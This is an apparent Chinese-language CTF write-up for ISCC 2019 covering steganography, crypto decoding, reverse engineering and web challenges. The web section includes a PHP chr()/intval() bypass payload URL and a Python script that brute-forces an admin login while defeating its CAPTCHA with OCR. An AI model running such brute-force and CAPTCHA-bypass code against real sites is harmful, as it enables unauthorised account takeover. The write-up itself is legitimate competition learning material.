ISCC2019解题记录

MISC

隐藏的信息

1
tip:这是一个被混淆的文件,但是我忘记了这个文件的密码。你能够帮助我还原明文吗?

很明显的八进制,先转成字符串,发现是base64编码,解码即可得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
import base64

filename = "message.txt"
with open(filename) as f:
txt = f.read().split(" ")

#print txt
s = ""
for i in txt:
if i:
s += chr(int(i,8))
flag = base64.b64decode(s)
print flag

flag:ISCC{N0_0ne_can_st0p_y0u}

知识点:八进制、base64

倒立屋

1
tip:房屋为什么会倒立!是重力反转了吗?

用stegsolve打开,DataExtract分析,发现IsCc_2019,直接提交不对,根据提示倒过来就对了

Save Bin,将前9个字节进行逆序

1
2
3
4
5
6
7
filename = "2"
with open(filename,"rb") as f:
s = f.read()

s = s[:9]
flag = s[::-1]
print flag

flag:9102_cCsI

知识点:LSB隐写

Keyes’ secret

1
tip:Trying to figure out Keyes' secret

打开文件发现都是大写英文字母,有点像键盘密码,于是进行替换

1
2
3
4
RFVGYHN -> h
WSXCDE -> e
WSXCV -> l
TGBNMJUY - o

得到hello,说明想法是对的,最后得到一段话,flag要转为大写

1
hello,in computer security, capture the flag (ctf), a type of cryptosport, is a computer security competition. ctf contests are usually desluned to serve as an educational exercise to give participants experience in securing a machine, as well as conducting and reacting to the sort of attacks found in the real world (i.e., bug bounty programs in professional settings). here are your FLAG{ISCC KEYBOARD CIPHER} reverse-engineering, network sniffing, protocol analysis, system administration, programming, and cryptanalysis are all skills which have been required by prior ctf contests at def con.

flag:FLAG{ISCC KEYBOARD CIPHER}

知识点:键盘密码

Aesop’s secret

1
tip:Aesop's chest and key lie within. To find it.

打开是一张GIF,分解后发现ISCC字样

用HxD查看GIF,在文件尾部发现base64编码字符串。先用base64解密发现Salted__,根据提示Aesop猜测与AES加密有关,关键词搜索发现这是crypto-js中AES加密(https://stackoverflow.com/questions/36762098/how-to-decrypt-password-from-javascript-cryptojs-aes-encryptpassword-passphras),借用网上的脚本,双重解密后得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
# -*- coding: utf-8 -*-
from Crypto import Random
from Crypto.Cipher import AES
import base64
from hashlib import md5

def pad(data):
length = 16 - (len(data) % 16)
return data + (chr(length)*length).encode()

def unpad(data):
return data[:-(data[-1] if type(data[-1]) == int else ord(data[-1]))]

def bytes_to_key(data, salt, output=48):
assert len(salt) == 8, len(salt)
data += salt
key = md5(data).digest()
final_key = key
while len(final_key) < output:
key = md5(key + data).digest()
final_key += key
return final_key[:output]

def encrypt(message, passphrase):
salt = Random.new().read(8)
key_iv = bytes_to_key(passphrase, salt, 32+16)
key = key_iv[:32]
iv = key_iv[32:]
aes = AES.new(key, AES.MODE_CBC, iv)
return base64.b64encode(b"Salted__" + salt + aes.encrypt(pad(message)))

def decrypt(encrypted, passphrase):
encrypted = base64.b64decode(encrypted)
assert encrypted[0:8] == b"Salted__"
salt = encrypted[8:16]
key_iv = bytes_to_key(passphrase, salt, 32+16)
key = key_iv[:32]
iv = key_iv[32:]
aes = AES.new(key, AES.MODE_CBC, iv)
return unpad(aes.decrypt(encrypted[16:]))

key = "ISCC"
#print len(key)
c = "U2FsdGVkX19QwGkcgD0fTjZxgijRzQOGbCWALh4sRDec2w6xsY/ux53Vuj/AMZBDJ87qyZL5kAf1fmAH4Oe13Iu435bfRBuZgHpnRjTBn5+xsDHONiR3t0+Oa8yG/tOKJMNUauedvMyN4v4QKiFunw=="
m = decrypt(c,key)
m = decrypt(m,key)
print m

flag:flag{DugUpADiamondADeepDarkMine}

知识点:GIF图片,AES

碎纸机

1
tip:“想要我的宝藏吗?如果想要的话,那就到碎纸机中找吧,我全部都放在那里。”

用HxD查看图片,文件末尾发现还包含压缩包以及其他文件。于是binwalk一下,得到如下内容

readme.txt内容如下

1
2
碎纸机中居然是一堆黑色和白色的碎片,但是这些碎片之中到底会有什么样的宝藏呢?
我去问了欧鹏・曦文同学,他说他有办法恢复拼图原貌,但是前提是要我把真正有用的东西给他。

好像并没有什么直接的信息,继续用HxD查看每一张图片

发现有0x4E2=1250字节的可以数据,且大部分都是00或ff,联想到RGB,(255,255,255)表示白色,(0,0,0)表示黑色,最后应该得到黑色背景的白色flag。于是提取出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from PIL import Image

x = 25
y = 50

filename = "1.jpg"
with open(filename,"rb") as f:
jpg = f.read()

print type(ord(jpg[0]))
im = Image.new("RGB",(x,y))
#index = 0
for i in range(x):
for j in range(y):
rgb = ord(jpg[j*25 + i])
im.putpixel((i,j),(rgb,rgb,rgb))

im.save("flag1.jpg")

提取前两个,发现

然后全部提取出来,得到

flag:Flag={ISCC_is_interesting_!}

知识点:图片隐写,RGB通道

REVERSE

answer to everything

1
2
tip:sha1 得到了一个神秘的二进制文件。寻找文件中的flag,解锁宇宙的秘密。
注意:将得到的flag变为ISCC{flag}形式提交。

给的文件是.exe,用DIE查看发现是ELF64。用ida打开

输入42,得到kdudpeh,根据提示,sha1之后加上格式即为flag

flag:ISCC{80ee2a3fe31da904c596d993f7f1de4827c1450a}

知识点:ida使用

Rev01

这是一道rust程序的逆向,INS hack teaser 2019有一道类似的题(https://www.anquanke.com/post/id/169970)

跟着上面的思路,找到程序入口

进去后找到关键代码

程序大致意思是:程序经过一系列运算的到一串字符v34,然后将该字符移位异或操作之后与输入的值进行比较。

因此只要找到程序生成的字符串就可以了,具体算法很复杂,于是用gdb动态调试,在do-while循环结束的地方下断点,然后查看v34的类容。

具体调试过程如下

gdb载入文件

1
2
3
gdb-peda$ b main
Breakpoint 5 at 0x55555555ab10
gdb-peda$ run

找到程序入口

1
2
3
4
gdb-peda$ b _ZN15beginer_reverse4main17h80fa15281f646bc1E
Breakpoint 6 at 0x55555555a6a0
gdb-peda$ c
Continuing.

在ida中找到do-while循环结束的地方

1
2
3
4
5
gdb-peda$ b *0x000055555555a9a8
Breakpoint 7 at 0x55555555a9a8
gdb-peda$ c
Continuing.
abc123456 ##输入的类容

r14是输入的类容,r15即我们需要的类容,dump下来解密得到flag

1
2
3
4
5
6
7
s = "0x00000154	0x00000180	0x000001fc	0x000001e4 0x000001f8	0x00000154	0x00000190	0x000001bc 0x000001bc	0x000001b8	0x00000154	0x000001f8 0x00000194	0x00000154	0x000001b4	0x000001bc 0x000001f8	0x00000154	0x000001f4	0x00000188 0x000001ac	0x000001f8	0x00000154	0x0000018c 0x000001e4	0x00000154	0x00000190	0x000001bc 0x000001bc	0x000001b8	0x000001bc	0x000001b8 0x00000154	0x00000090"
s = s.replace("\t"," ").split(" ")

flag = ""
for i in s:
flag += (chr((int(i,16)>>2) ^ 0xa))
print flag

flag:_just_need_to_get_what_is_needed_.

知识点:rust程序逆向、gdb动态调试

WEB

web1

直接给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
require 'flag.php';
$value = $_GET['value'];
$password = $_GET['password'];
$username = '';

for ($i = 0; $i < count($value); ++$i) {
if ($value[$i] > 32 && $value[$i] < 127) unset($value);
else $username .= chr($value[$i]);
if ($username == 'w3lc0me_To_ISCC2019' && intval($password) < 2333 && intval($password + 1) > 2333) {
echo 'Hello '.$username.'!', '<br>', PHP_EOL;
echo $flag, '<hr>';
}
}

highlight_file(__FILE__);

大致意思:get value数组和password,value的值要为’w3lc0me_To_ISCC2019’

问题在chr和intval两个函数,value[i]不能为[32,127],chr()函数对大于256的值会首先模256,即chr(256+ord(‘A’)) = ‘A’,PHP 5.x中intval()无法处理十六进制,所以只要password>=0x91d即可,所以构造payload

1
2
3
4
5
6
7
8
9
s = "w3lc0me_To_ISCC2019"
payload = "password = 0x91d"
for i in s:
a = 256 + ord(i)
a = "&value[]=" + str(a)
payload += a
print payload

#http://39.100.83.188:8001/?password=0x91d&value[]=375&value[]=307&value[]=364&value[]=355&value[]=304&value[]=365&value[]=357&value[]=351&value[]=340&value[]=367&value[]=351&value[]=329&value[]=339&value[]=323&value[]=323&value[]=306&value[]=304&value[]=305&value[]=313

flag:flag{8311873e241ccad54463eaa5d4efc1e9}

知识点:PHP中的chr和intval函数

web2

带验证码的密码爆破,验证码就是为了防止爆破的,但是这里的验证码可以用文字识别。调用百度的api,脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
# -*- coding: UTF-8 -*-
from aip import AipOcr
import requests

APP_ID = 'your API_ID'
API_KEY = 'your API_KEY'
SECRET_KEY = 'your SECRET_KEY'

client = AipOcr(APP_ID, API_KEY, SECRET_KEY)

""" 读取图片 """
def get_file_content(filePath):
with open(filePath, 'rb') as fp:
return fp.read()
def getvcode(session):
url = "http://39.100.83.188:8002/vcode.php"
vcode = session.get(url)
with open("1.png","wb+") as f:
f.write(vcode.content)

image = get_file_content('1.png')
a = client.basicGeneral(image);
try:
a = a["words_result"][0]["words"]
if len(a) == 4:
return a
return getvcode(session)
except:
return getvcode(session)

def bruteForce(session,passwd):
url = "http://39.100.83.188:8002/login.php"
data = {}
data["username"] = "admin"
data["pwd"] = str(passwd)
data["user_code"] = getvcode(session)
data["Login"] = "submit"
#print data
res = session.post(url,data = data)
return res.content


sess = requests.session()
#
for i in range(100,1000):
result = bruteForce(sess,i)
while("验证码" in result):
result = bruteForce(sess,i)
print "%d:"%i ,result

flag:flag{996_ICU}

知识点:文字识别,密码爆破

PWN

Pwn01

ida打开,发现存在缓冲区溢出

checksec,发现开启了NX保护,不会绕过,卒!

-------------本文结束感谢您的阅读-------------